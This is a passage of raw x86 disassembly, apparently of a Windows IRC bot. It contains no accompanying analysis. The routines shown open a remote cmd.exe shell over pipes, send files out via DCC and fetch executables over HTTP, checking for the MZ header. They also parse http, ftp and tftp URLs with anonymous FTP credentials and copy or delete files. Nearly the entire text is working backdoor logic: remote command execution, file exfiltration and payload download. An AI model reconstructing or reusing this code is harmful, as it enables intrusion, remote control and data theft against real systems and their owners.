[ebp+var_420] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h call sub_4114E2 ; clock sub eax, 1F4h xor esi, esi mov dword_4191CC, eax lea eax, [ebp+var_724] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_412074 ; SearchPathA test eax, eax jz loc_401892 push 1 lea eax, [ebp+var_20] pop ebx mov edi, dword_412078 push esi push eax lea eax, [ebp+var_10] mov [ebp+var_20], 0Ch push eax lea eax, [ebp+var_14] push eax mov [ebp+var_18], ebx mov [ebp+var_1C], esi call edi ; CreatePipe test eax, eax jz loc_40188D lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax call edi ; CreatePipe test eax, eax jz loc_40188D mov edi, dword_4120F8 push 3 push esi push esi push offset dword_4191C0 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_412080 ; DuplicateHandle test eax, eax jz loc_40188D push 10h lea eax, [ebp+var_34] push esi push eax call sub_4114E8 ; memset push 44h lea eax, [ebp+var_78] pop edi push edi push esi push eax call sub_4114E8 ; memset mov eax, [ebp+var_C] add esp, 18h mov [ebp+var_40], eax mov eax, [ebp+var_10] mov [ebp+var_3C], eax mov [ebp+var_38], eax lea eax, [ebp+var_34] mov [ebp+var_78], edi push eax lea eax, [ebp+var_78] push eax push esi push esi push esi push ebx push esi push esi lea eax, [ebp+var_724] push offset byte_4191D0 push eax mov [ebp+var_4C], 101h mov [ebp+var_48], si call dword_412084 ; CreateProcessA test eax, eax jz loc_40188D push [ebp+var_C] mov edi, dword_4120AC call edi ; CloseHandle mov eax, [ebp+var_14] push [ebp+var_30] mov dword_4191C4, eax mov eax, [ebp+var_8] mov dword_4191B8, eax mov eax, [ebp+var_34] mov dword_4191BC, eax call edi ; CloseHandle mov eax, [ebp+var_420] mov [ebp+var_4], esi cmp [eax+4], esi jnz loc_40188D mov edi, 200h mov ebx, 103h loc_40178F: ; CODE XREF: sub_401621+238j push edi lea eax, [ebp+var_620] push esi push eax call sub_4114E8 ; memset add esp, 0Ch lea eax, [ebp+var_4] push esi push esi push eax lea eax, [ebp+var_620] push edi push eax push dword_4191C4 call dword_412088 ; PeekNamedPipe test eax, eax jz loc_401867 cmp [ebp+var_4], esi jnz short loc_4017F1 lea eax, [ebp+arg_0] mov [ebp+arg_0], ebx push eax push dword_4191BC call dword_41208C ; GetExitCodeProcess test eax, eax jz short loc_4017E7 cmp [ebp+arg_0], ebx jnz loc_40187A loc_4017E7: ; CODE XREF: sub_401621+1BBj push 0Ah call dword_4120A4 ; Sleep jmp short loc_401850 ; --------------------------------------------------------------------------- loc_4017F1: ; CODE XREF: sub_401621+1A4j xor eax, eax cmp [ebp+var_4], esi jbe short loc_401808 loc_4017F8: ; CODE XREF: sub_401621+1E5j cmp [ebp+eax+var_620], 0Ah jz short loc_401861 inc eax cmp eax, [ebp+var_4] jb short loc_4017F8 loc_401808: ; CODE XREF: sub_401621+1D5j mov [ebp+var_4], edi loc_40180B: ; CODE XREF: sub_401621+244j push edi lea eax, [ebp+var_620] push esi push eax call sub_4114E8 ; memset add esp, 0Ch lea eax, [ebp+var_24] push esi push eax push [ebp+var_4] lea eax, [ebp+var_620] push eax push dword_4191C4 call dword_412090 ; ReadFile test eax, eax jz short loc_40188D lea eax, [ebp+var_620] push eax lea eax, [ebp+var_21C] push eax call sub_401571 pop ecx pop ecx loc_401850: ; CODE XREF: sub_401621+1CEj mov eax, [ebp+var_420] cmp [eax+4], esi jz loc_40178F jmp short loc_40188D ; --------------------------------------------------------------------------- loc_401861: ; CODE XREF: sub_401621+1DFj inc eax mov [ebp+var_4], eax jmp short loc_40180B ; --------------------------------------------------------------------------- loc_401867: ; CODE XREF: sub_401621+19Bj lea eax, [ebp+var_21C] push offset aCouldNotReadDa ; "Could not read data from process." push eax call sub_401571 jmp short loc_40188B ; --------------------------------------------------------------------------- loc_40187A: ; CODE XREF: sub_401621+1C0j lea eax, [ebp+var_21C] push offset aCmd_exeProcess ; "Cmd.exe process has terminated." push eax call sub_4096CB loc_40188B: ; CODE XREF: sub_401621+257j pop ecx pop ecx loc_40188D: ; CODE XREF: sub_401621+85j ; sub_401621+9Cj ... call sub_401534 loc_401892: ; CODE XREF: sub_401621+58j push [ebp+var_420] call sub_406E6F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_401621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018A7 proc near ; CODE XREF: sub_4018D5+90p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_4114BE ; strlen pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4191C0 call dword_412070 ; WriteFile neg eax sbb eax, eax neg eax leave retn sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D5 proc near ; CODE XREF: sub_407A76+12B3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] push ebx xor ebx, ebx push esi cmp [eax+198h], bl push edi jz short loc_401905 cmp [ebp+arg_4], ebx jz loc_401980 push ebx push ebx push ebx push [ebp+arg_4] push offset aOpen ; "open" push ebx call dword_4121E4 jmp short loc_401980 ; --------------------------------------------------------------------------- loc_401905: ; CODE XREF: sub_4018D5+11j push 3A7h call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx jz short loc_401980 mov edi, [ebp+arg_4] cmp edi, ebx jz short loc_40192F push 200h lea eax, [esi+4] push edi push eax call sub_4059C2 add esp, 0Ch loc_40192F: ; CODE XREF: sub_4018D5+46j push [ebp+arg_0] lea eax, [esi+204h] push eax call sub_40457C pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push esi push offset sub_401621 call sub_406D58 add esp, 10h cmp edi, ebx jz short loc_401980 push offset asc_413214 ; "\r\n" push edi call sub_4114EE ; _mbscat push edi call sub_4018A7 add esp, 0Ch test eax, eax jnz short loc_401980 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_4096CB pop ecx pop ecx loc_401980: ; CODE XREF: sub_4018D5+16j ; sub_4018D5+2Ej ... pop edi pop esi pop ebx pop ebp retn sub_4018D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401985 proc near ; DATA XREF: sub_401EA8+E9o var_604 = qword ptr -604h var_5FC = qword ptr -5FCh var_5E8 = byte ptr -5E8h var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3C3 = byte ptr -3C3h var_2BF = byte ptr -2BFh var_1BF = byte ptr -1BFh var_1B5 = byte ptr -1B5h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E8h push esi push 3D6h push [ebp+arg_0] lea eax, [ebp+var_3E8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h lea eax, [ebp+var_3C3] push eax call dword_4120B8 ; DeleteFileA lea eax, [ebp+var_3C3] push offset dword_4132AC push eax call sub_411506 ; fopen xor esi, esi pop ecx cmp eax, esi pop ecx mov [ebp+var_10], eax jnz short loc_4019E4 push [ebp+var_3E8] call sub_406E6F jmp short loc_401A1B ; --------------------------------------------------------------------------- loc_4019E4: ; CODE XREF: sub_401985+50j push 2710h lea eax, [ebp+var_1BF] push esi push eax lea eax, [ebp+var_2BF] push eax call sub_403C04 add esp, 10h cmp eax, esi mov [ebp+var_C], eax jnz short loc_401A23 push [ebp+var_10] call sub_411500 ; fclose push [ebp+var_3E8] call sub_406E6F pop ecx loc_401A1B: ; CODE XREF: sub_401985+5Dj pop ecx xor eax, eax jmp loc_401B7C ; --------------------------------------------------------------------------- loc_401A23: ; CODE XREF: sub_401985+80j push ebx lea eax, [ebp+var_3E4] push edi push eax lea eax, [ebp+var_3C3] push eax mov eax, [ebp+var_3E8] push dword ptr [eax] lea eax, [ebp+var_1B5] push offset dword_413280 push eax call sub_4096CB add esp, 14h call sub_4114E2 ; clock mov ebx, dword_412258 mov [ebp+var_4], esi push esi mov [ebp+arg_0], eax mov esi, 200h lea eax, [ebp+var_5E8] push esi push eax push [ebp+var_C] loc_401A71: ; CODE XREF: sub_401985+14Bj call ebx ; recv mov edi, eax test edi, edi jz short loc_401AD2 cmp edi, esi ja short loc_401AD2 add [ebp+var_4], edi push [ebp+var_4] call dword_41225C ; htonl mov [ebp+var_8], eax lea eax, [ebp+var_8] push 4 push eax push [ebp+var_C] call sub_403D9D push [ebp+var_10] lea eax, [ebp+var_5E8] push edi push 1 push eax call sub_4114FA ; fwrite add esp, 1Ch cmp edi, esi jb short loc_401AD2 mov eax, [ebp+var_3E8] cmp dword ptr [eax+4], 0 jnz loc_401B5A push 0 lea eax, [ebp+var_5E8] push esi push eax push [ebp+var_C] jmp short loc_401A71 ; --------------------------------------------------------------------------- loc_401AD2: ; CODE XREF: sub_401985+F2j ; sub_401985+F6j ... push [ebp+var_10] call sub_4114F4 ; ftell pop ecx mov esi, eax call sub_4114E2 ; clock cmp [ebp+arg_0], eax jnz short loc_401AF0 call sub_4114E2 ; clock dec eax mov [ebp+arg_0], eax loc_401AF0: ; CODE XREF: sub_401985+160j mov eax, esi mov ecx, 400h cdq idiv ecx mov [ebp+var_8], eax fild [ebp+var_8] fstp [ebp+var_4] call sub_4114E2 ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+var_8], eax fild [ebp+var_8] fmul flt_412280 fdivr [ebp+var_4] fstp [esp+5FCh+var_5FC] call sub_4114E2 ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+arg_0], eax lea eax, [ebp+var_3E4] fild [ebp+arg_0] fmul flt_412280 fstp [esp+604h+var_604] push eax lea eax, [ebp+var_3C3] push eax lea eax, [ebp+var_1B5] push offset dword_413234 push eax call sub_4096CB add esp, 20h loc_401B5A: ; CODE XREF: sub_401985+138j push [ebp+var_10] call sub_411500 ; fclose push [ebp+var_C] call sub_403D70 push [ebp+var_3E8] call sub_406E6F add esp, 0Ch xor eax, eax pop edi pop ebx loc_401B7C: ; CODE XREF: sub_401985+99j pop esi leave retn 4 sub_401985 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B81 proc near ; DATA XREF: sub_401FA3+65o var_A1C = qword ptr -0A1Ch var_A14 = qword ptr -0A14h var_A00 = byte ptr -0A00h var_5FC = byte ptr -5FCh var_3FC = byte ptr -3FCh var_2F8 = dword ptr -2F8h var_2F4 = byte ptr -2F4h var_2D3 = byte ptr -2D3h var_2D2 = byte ptr -2D2h var_1CF = byte ptr -1CFh var_2C = byte ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A00h push ebx push esi push edi push 2CCh push [ebp+arg_0] lea eax, [ebp+var_2F8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_2D3] push eax call sub_4114BE ; strlen xor esi, esi add esp, 14h cmp eax, esi jz short loc_401BCB loc_401BBE: ; CODE XREF: sub_401B81+48j cmp [ebp+eax+var_2D3], 5Ch jz short loc_401BD3 dec eax jnz short loc_401BBE loc_401BCB: ; CODE XREF: sub_401B81+3Bj lea eax, [ebp+var_2D3] jmp short loc_401BDA ; --------------------------------------------------------------------------- loc_401BD3: ; CODE XREF: sub_401B81+45j lea eax, [ebp+eax+var_2D2] loc_401BDA: ; CODE XREF: sub_401B81+50j push eax lea eax, [ebp+var_3FC] push eax call sub_4114B8 ; _mbscpy pop ecx lea eax, [ebp+var_8] pop ecx mov [ebp+var_8], 10h push eax lea eax, [ebp+var_2C] push eax call sub_4091A7 push eax call dword_412250 ; getsockname push 2 push esi push esi lea eax, [ebp+var_A00] push 401h push eax push [ebp+var_8] lea eax, [ebp+var_2C] push eax call dword_419228 ; getnameinfo test eax, eax jz short loc_401C32 loc_401C25: ; CODE XREF: sub_401B81+E3j push [ebp+var_2F8] call sub_406E6F jmp short loc_401C91 ; --------------------------------------------------------------------------- loc_401C32: ; CODE XREF: sub_401B81+A2j lea eax, [ebp+var_14] push 0Ah push eax push 1388h push 400h call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa lea eax, [ebp+var_14] push 1 push eax call sub_403644 mov edi, eax add esp, 14h cmp edi, esi mov [ebp+var_1C], edi jz short loc_401C25 lea eax, [ebp+var_2D3] push offset aRb ; "rb" push eax call sub_411506 ; fopen mov ebx, eax pop ecx cmp ebx, esi pop ecx jnz short loc_401C97 push edi call sub_40392A push [ebp+var_2F8] call sub_406E6F pop ecx loc_401C91: ; CODE XREF: sub_401B81+AFj pop ecx jmp loc_401E9F ; --------------------------------------------------------------------------- loc_401C97: ; CODE XREF: sub_401B81+FCj push 2 push esi push ebx call sub_411516 ; fseek push ebx call sub_4114F4 ; ftell push esi push esi push ebx mov [ebp+var_4], eax call sub_411516 ; fseek add esp, 1Ch lea eax, [ebp+var_A00] push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_2F4] push offset aDccSendSS ; "DCC Send %s (%s)" push eax call sub_4095E7 add esp, 10h lea eax, [ebp+var_14] push [ebp+var_4] push eax lea eax, [ebp+var_A00] push eax call dword_412254 ; inet_addr push eax call dword_41225C ; htonl push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_2F4] push offset dword_413348 push eax call sub_409659 push 0EA60h push edi call sub_403767 add esp, 20h cmp eax, esi mov [ebp+var_C], eax jz loc_401E85 cmp eax, 0FFFFFFFFh jz loc_401E85 lea eax, [ebp+var_2F4] push eax lea eax, [ebp+var_3FC] push eax mov eax, [ebp+var_2F8] push dword ptr [eax] lea eax, [ebp+var_1CF] push offset dword_413320 push eax call sub_4096CB call sub_4114E2 ; clock mov esi, 200h mov [ebp+arg_0], eax push ebx push esi lea eax, [ebp+var_5FC] push 1 push eax call sub_411510 ; fread add esp, 24h loc_401D73: ; CODE XREF: sub_401B81+23Aj mov edi, eax test edi, edi jz short loc_401DE1 cmp edi, esi ja short loc_401DE1 lea eax, [ebp+var_5FC] push edi push eax push [ebp+var_C] call sub_403D9D add esp, 0Ch test eax, eax jz short loc_401DBD cmp edi, esi jb short loc_401DE1 mov eax, [ebp+var_2F8] cmp dword ptr [eax+4], 0 jnz loc_401E5F push ebx push esi lea eax, [ebp+var_5FC] push 1 push eax call sub_411510 ; fread add esp, 10h jmp short loc_401D73 ; --------------------------------------------------------------------------- loc_401DBD: ; CODE XREF: sub_401B81+211j lea eax, [ebp+var_2F4] push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_1CF] push offset dword_4132F4 push eax call sub_4096CB add esp, 10h jmp short loc_401E5F ; --------------------------------------------------------------------------- loc_401DE1: ; CODE XREF: sub_401B81+1F6j ; sub_401B81+1FAj ... call sub_4114E2 ; clock cmp [ebp+arg_0], eax jnz short loc_401DF4 call sub_4114E2 ; clock dec eax mov [ebp+arg_0], eax loc_401DF4: ; CODE XREF: sub_401B81+268j mov eax, [ebp+var_4] mov ecx, 400h cdq idiv ecx mov [ebp+var_4], eax fild [ebp+var_4] fstp [ebp+var_18] call sub_4114E2 ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+var_4], eax fild [ebp+var_4] fmul flt_412280 fdivr [ebp+var_18] fstp [esp+0A14h+var_A14] call sub_4114E2 ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+arg_0], eax lea eax, [ebp+var_2F4] fild [ebp+arg_0] fmul flt_412280 fstp [esp+0A1Ch+var_A1C] push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_1CF] push offset dword_4132B0 push eax call sub_4096CB add esp, 20h loc_401E5F: ; CODE XREF: sub_401B81+221j ; sub_401B81+25Ej push [ebp+var_C] call sub_403D70 push ebx call sub_411500 ; fclose push [ebp+var_1C] call sub_40392A push [ebp+var_2F8] call sub_406E6F add esp, 10h jmp short loc_401E9F ; --------------------------------------------------------------------------- loc_401E85: ; CODE XREF: sub_401B81+19Cj ; sub_401B81+1A5j push ebx call sub_411500 ; fclose push edi call sub_40392A push [ebp+var_2F8] call sub_406E6F add esp, 0Ch loc_401E9F: ; CODE XREF: sub_401B81+111j ; sub_401B81+302j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EA8 proc near ; CODE XREF: sub_409918+194p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_4], ebx push esi push edi jz loc_401F9E cmp [ebp+arg_8], ebx jz loc_401F9E cmp [ebp+arg_C], ebx jz loc_401F9E cmp [ebp+arg_10], ebx jz loc_401F9E push [ebp+arg_10] call sub_41151C ; atoi mov esi, eax pop ecx cmp esi, ebx jz loc_401F9E cmp esi, 0FFFFh ja loc_401F9E push [ebp+arg_14] call sub_41151C ; atoi mov edi, eax pop ecx cmp edi, ebx jz loc_401F9E cmp esi, 40000000h ja loc_401F9E push 3D6h call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx jz short loc_401F9E push 21h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4114D6 ; strncpy push 104h lea eax, [esi+25h] push [ebp+arg_8] push eax call sub_4114D6 ; strncpy push 100h lea eax, [esi+129h] push [ebp+arg_C] push eax call sub_4114D6 ; strncpy push 6 lea eax, [esi+229h] push [ebp+arg_10] push eax call sub_4114D6 ; strncpy push 1A3h lea eax, [esi+233h] push [ebp+arg_0] mov [esi+22Fh], edi push eax call sub_4114D0 ; memcpy add esp, 3Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41337C push ebx push esi push offset sub_401985 call sub_406D58 add esp, 18h loc_401F9E: ; CODE XREF: sub_401EA8+Bj ; sub_401EA8+14j ... pop edi pop esi pop ebx pop ebp retn sub_401EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FA3 proc near ; CODE XREF: sub_407A76+5FFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push esi jz short loc_402015 cmp [ebp+arg_8], 0 jz short loc_402015 push 2CCh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_402015 push 21h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4114D6 ; strncpy push 104h lea eax, [esi+25h] push [ebp+arg_8] push eax call sub_4114D6 ; strncpy push 1A3h lea eax, [esi+129h] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy add esp, 24h push [ebp+arg_4] push [ebp+arg_8] push offset dword_4133A0 push 0 push esi push offset sub_401B81 call sub_406D58 add esp, 18h loc_402015: ; CODE XREF: sub_401FA3+8j ; sub_401FA3+Ej ... pop esi pop ebp retn sub_401FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402018 proc near ; CODE XREF: sub_402230+3CAp var_408 = byte ptr -408h var_4 = dword ptr -4 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 408h push ebx push esi mov ebx, 2710h push edi push ebx push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_403C04 mov esi, eax add esp, 10h test esi, esi mov [ebp+arg_C], esi jz loc_402226 push [ebp+arg_8] mov edi, 401h lea eax, [ebp+var_408] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push edi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_408] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_408] push eax push esi call sub_403D9D push ebx lea eax, [ebp+var_408] push edi push eax push esi call sub_403DF6 add esp, 34h mov [ebp+arg_10], eax test eax, eax jz loc_40221F cmp eax, 0FFFFFFFFh jz loc_40221F lea eax, [ebp+var_408] push offset asc_4133EC ; "\r\n\r\n" push eax call sub_411528 ; strstr mov esi, eax pop ecx test esi, esi pop ecx jz loc_40221A lea eax, [ebp+var_408] push offset aContentLength ; "Content-Length: " push eax add esi, 4 call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz loc_40221A cmp eax, esi ja loc_40221A and [ebp+var_4], 0 lea ecx, [ebp+var_4] push ecx push offset aContentLengthU ; "Content-Length: %u\r\n" push eax call sub_411522 ; sscanf add esp, 0Ch cmp eax, 1 jnz loc_40221A mov ecx, [ebp+var_4] test ecx, ecx jz loc_40221A cmp [ebp+arg_1C], 0 jz short loc_40212B cmp ecx, 2 jb loc_40221A cmp word ptr [esi], 5A4Dh jnz loc_40221A loc_40212B: ; CODE XREF: sub_402018+FDj mov eax, [ebp+arg_18] test eax, eax jz short loc_402134 mov [eax], ecx loc_402134: ; CODE XREF: sub_402018+118j push [ebp+arg_14] call sub_4111BA test eax, eax pop ecx jnz loc_40221A push offset dword_4132AC push [ebp+arg_14] call sub_411506 ; fopen pop ecx mov [ebp+arg_8], eax test eax, eax pop ecx jnz short loc_40216D loc_40215B: ; CODE XREF: sub_402018+1CFj xor esi, esi loc_40215D: ; CODE XREF: sub_402018+1E0j push [ebp+arg_C] call sub_403D70 pop ecx mov eax, esi jmp loc_402228 ; --------------------------------------------------------------------------- loc_40216D: ; CODE XREF: sub_402018+141j push eax mov eax, [ebp+arg_10] sub eax, esi lea eax, [ebp+eax+var_408] push eax push 1 push esi call sub_4114FA ; fwrite sub esi, [ebp+arg_10] lea eax, [ebp+var_408] add esp, 10h sub esi, eax add [ebp+var_4], esi loc_402194: ; CODE XREF: sub_402018+1C7j mov eax, [ebp+arg_20] test eax, eax jz short loc_4021A1 cmp dword ptr [eax+4], 0 jnz short loc_4021EC loc_4021A1: ; CODE XREF: sub_402018+181j push ebx lea eax, [ebp+var_408] push edi push eax push [ebp+arg_C] call sub_403DF6 mov esi, eax add esp, 10h test esi, esi jz short loc_4021FD cmp esi, 0FFFFFFFFh jz short loc_4021FD cmp esi, [ebp+var_4] push [ebp+arg_8] ja short loc_4021E1 push esi lea eax, [ebp+var_408] push 1 push eax call sub_4114FA ; fwrite add esp, 10h sub [ebp+var_4], esi jz short loc_4021EC jmp short loc_402194 ; --------------------------------------------------------------------------- loc_4021E1: ; CODE XREF: sub_402018+1AEj call sub_411500 ; fclose pop ecx jmp loc_40215B ; --------------------------------------------------------------------------- loc_4021EC: ; CODE XREF: sub_402018+187j ; sub_402018+1C5j push [ebp+arg_8] call sub_411500 ; fclose pop ecx push 1 pop esi jmp loc_40215D ; --------------------------------------------------------------------------- loc_4021FD: ; CODE XREF: sub_402018+1A1j ; sub_402018+1A6j push [ebp+arg_8] call sub_411500 ; fclose push [ebp+arg_C] call sub_403D70 pop ecx pop ecx push [ebp+arg_14] call dword_4120B8 ; DeleteFileA jmp short loc_402226 ; --------------------------------------------------------------------------- loc_40221A: ; CODE XREF: sub_402018+A3j ; sub_402018+C1j ... push [ebp+arg_C] jmp short loc_402220 ; --------------------------------------------------------------------------- loc_40221F: ; CODE XREF: sub_402018+7Dj ; sub_402018+86j push esi loc_402220: ; CODE XREF: sub_402018+205j call sub_403D70 pop ecx loc_402226: ; CODE XREF: sub_402018+29j ; sub_402018+200j xor eax, eax loc_402228: ; CODE XREF: sub_402018+150j pop edi pop esi pop ebx leave retn sub_402018 endp ; =============== S U B R O U T I N E ======================================= sub_40222D proc near ; CODE XREF: sub_402230+415p ; sub_402230+452p xor eax, eax retn sub_40222D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402230 proc near ; DATA XREF: sub_4027CB+9Fo var_7EC = qword ptr -7ECh var_7D4 = byte ptr -7D4h var_6D0 = byte ptr -6D0h var_5D0 = byte ptr -5D0h var_4CC = byte ptr -4CCh var_4CB = byte ptr -4CBh var_44C = byte ptr -44Ch var_44B = byte ptr -44Bh var_3CC = dword ptr -3CCh var_3C8 = byte ptr -3C8h var_3C7 = byte ptr -3C7h var_3C2 = byte ptr -3C2h var_3C1 = byte ptr -3C1h var_2C4 = byte ptr -2C4h var_1C0 = byte ptr -1C0h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_33 = byte ptr -33h var_26 = byte ptr -26h var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7D4h push ebx push esi push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_3CC] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_7D4] push eax call sub_4114B8 ; _mbscpy mov dl, byte_4191D0 add esp, 18h xor eax, eax lea edi, [ebp+var_4CB] push 1Fh mov [ebp+var_4CC], dl pop ecx mov [ebp+var_44C], dl rep stosd stosw stosb push 1Fh xor eax, eax pop ecx lea edi, [ebp+var_44B] rep stosd stosw stosb lea eax, [ebp+var_2C4] xor ebx, ebx push eax lea eax, [ebp+var_7D4] push eax mov eax, [ebp+var_3CC] mov dword ptr [ebp+var_14+4], 1 mov [ebp+arg_0], ebx push dword ptr [eax] lea eax, [ebp+var_1C0] push offset dword_4135CC push eax call sub_4096CB push 7 lea eax, [ebp+var_3C8] push offset dword_4135C4 push eax call sub_411930 ; _strnicmp add esp, 20h test eax, eax jnz short loc_402347 lea eax, [ebp+var_2C4] push ebx push eax lea eax, [ebp+var_3C1] push eax call dword_412068 ; CopyFileA test eax, eax jnz loc_402697 call dword_41206C ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_40232E lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_41358C jmp loc_40277E ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: sub_402230+E3j lea eax, [ebp+var_3C1] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_41355C jmp loc_40277E ; --------------------------------------------------------------------------- loc_402347: ; CODE XREF: sub_402230+BBj lea eax, [ebp+var_3C8] push eax call sub_4114BE ; strlen pop ecx mov esi, eax loc_402356: ; CODE XREF: sub_402230+136j cmp esi, 0FFFFFFFFh jz short loc_4023CD cmp [ebp+esi+var_3C8], 3Ah jz short loc_402368 dec esi jmp short loc_402356 ; --------------------------------------------------------------------------- loc_402368: ; CODE XREF: sub_402230+133j cmp [ebp+esi+var_3C7], bl push 1 pop edi jz short loc_40239B mov al, [ebp+esi+var_3C7] lea ecx, [ebp+esi+var_3C8] loc_402382: ; CODE XREF: sub_402230+169j cmp al, 2Fh jz short loc_40239B cmp al, 30h jl short loc_4023CD cmp al, 39h jg short loc_4023CD mov byte ptr [ebp+edi+var_C+3], al mov al, [ecx+edi+1] inc edi cmp al, bl jnz short loc_402382 loc_40239B: ; CODE XREF: sub_402230+142j ; sub_402230+154j lea eax, [ebp+var_8] mov byte ptr [ebp+edi+var_C+3], bl push eax call sub_4032A7 test eax, eax pop ecx jz short loc_4023CD add edi, esi lea eax, [ebp+edi+var_3C8] push eax lea eax, [ebp+esi+var_3C8] push eax call sub_4114B8 ; _mbscpy pop ecx mov [ebp+arg_0], 1 pop ecx loc_4023CD: ; CODE XREF: sub_402230+129j ; sub_402230+158j ... push 7 lea eax, [ebp+var_3C8] push offset aHttp ; "http://" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40241D cmp [ebp+arg_0], ebx jnz short loc_4023FC lea eax, [ebp+var_8] push offset a80 ; "80" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_4023FC: ; CODE XREF: sub_402230+1BAj lea eax, [ebp+var_3C1] push eax lea eax, [ebp+var_3C8] push eax call sub_4114B8 ; _mbscpy pop ecx mov [ebp+arg_0], 1 pop ecx jmp loc_4024D9 ; --------------------------------------------------------------------------- loc_40241D: ; CODE XREF: sub_402230+1B5j push 6 lea eax, [ebp+var_3C8] push offset aFtp ; "ftp://" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40248A cmp [ebp+arg_0], ebx jnz short loc_40244C lea eax, [ebp+var_8] push offset a21 ; "21" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_40244C: ; CODE XREF: sub_402230+20Aj lea eax, [ebp+var_3C2] push eax lea eax, [ebp+var_3C8] push eax call sub_4114B8 ; _mbscpy mov esi, offset aAnonymous ; "anonymous" lea eax, [ebp+var_4CC] push esi push eax mov [ebp+arg_0], 2 call sub_4114B8 ; _mbscpy lea eax, [ebp+var_44C] push esi push eax call sub_4114B8 ; _mbscpy add esp, 18h jmp short loc_4024D9 ; --------------------------------------------------------------------------- loc_40248A: ; CODE XREF: sub_402230+205j push 7 lea eax, [ebp+var_3C8] push offset aTftp ; "tftp://" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_40279B cmp [ebp+arg_0], ebx jnz short loc_4024BD lea eax, [ebp+var_8] push offset a69 ; "69" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_4024BD: ; CODE XREF: sub_402230+27Bj lea eax, [ebp+var_3C1] push eax lea eax, [ebp+var_3C8] push eax call sub_4114B8 ; _mbscpy 